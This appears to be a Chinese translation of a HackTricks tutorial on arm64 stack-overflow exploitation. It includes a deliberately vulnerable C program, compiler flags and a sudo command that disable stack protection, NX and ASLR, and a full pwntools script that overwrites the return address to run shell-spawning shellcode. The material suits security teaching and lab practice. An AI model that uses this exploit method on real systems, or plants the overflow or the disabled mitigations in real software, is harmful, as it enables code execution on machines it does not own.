hacktricks/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

2.9 KiB
Raw Blame History

栈 Shellcode - arm64

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

在以下位置找到 arm64 的介绍:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

代码

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

编译时禁用 PIE、Canary 和 NX

{% code overflow="wrap" %}

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

无 ASLR & 无 canary - 栈溢出

要停止 ASLR 执行:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

获取bof的偏移量请查看此链接

利用:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

唯一“复杂”的事情在于找到调用栈中的地址。在我的情况下我使用gdb找到地址生成了利用代码但在利用时却没有成功因为栈地址有些变化

我打开了生成的**core文件**gdb ./bog ./core并检查了shellcode起始处的真实地址。